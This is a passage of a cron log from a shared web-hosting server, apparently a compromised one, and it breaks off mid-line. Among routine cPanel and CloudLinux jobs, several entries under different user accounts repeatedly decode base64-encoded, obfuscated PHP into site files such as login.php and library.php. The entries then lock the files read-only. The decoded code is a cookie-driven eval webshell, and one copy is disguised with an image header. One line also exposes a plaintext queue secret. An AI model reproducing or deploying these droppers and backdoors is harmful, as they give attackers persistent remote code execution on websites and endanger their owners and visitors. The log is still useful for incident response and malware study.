gKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:24:01 medusa CROND[14358]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:24:01 medusa CROND[14355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:24:01 medusa CROND[14359]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:24:01 medusa CROND[14360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:24:01 medusa CROND[14362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:24:01 medusa CROND[14361]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:24:01 medusa CROND[14356]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:24:01 medusa CROND[14363]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:24:01 medusa CROND[14377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[32501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:25:01 medusa CROND[32586]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:25:01 medusa CROND[32641]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:25:01 medusa CROND[305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:25:01 medusa CROND[306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:25:01 medusa CROND[313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:25:01 medusa CROND[314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:25:01 medusa CROND[315]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:25:01 medusa CROND[316]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:25:01 medusa CROND[323]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[322]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:25:01 medusa CROND[325]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:25:01 medusa CROND[328]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[324]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:25:01 medusa CROND[332]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[331]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[318]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:25:01 medusa CROND[326]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:25:01 medusa CROND[319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[352]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:25:01 medusa CROND[333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:25:01 medusa CROND[361]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:26:01 medusa CROND[17869]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:26:01 medusa CROND[17870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:26:01 medusa CROND[17873]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:26:01 medusa CROND[17874]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:26:01 medusa CROND[17875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:26:01 medusa CROND[17876]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:26:01 medusa CROND[17877]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:26:01 medusa CROND[17887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 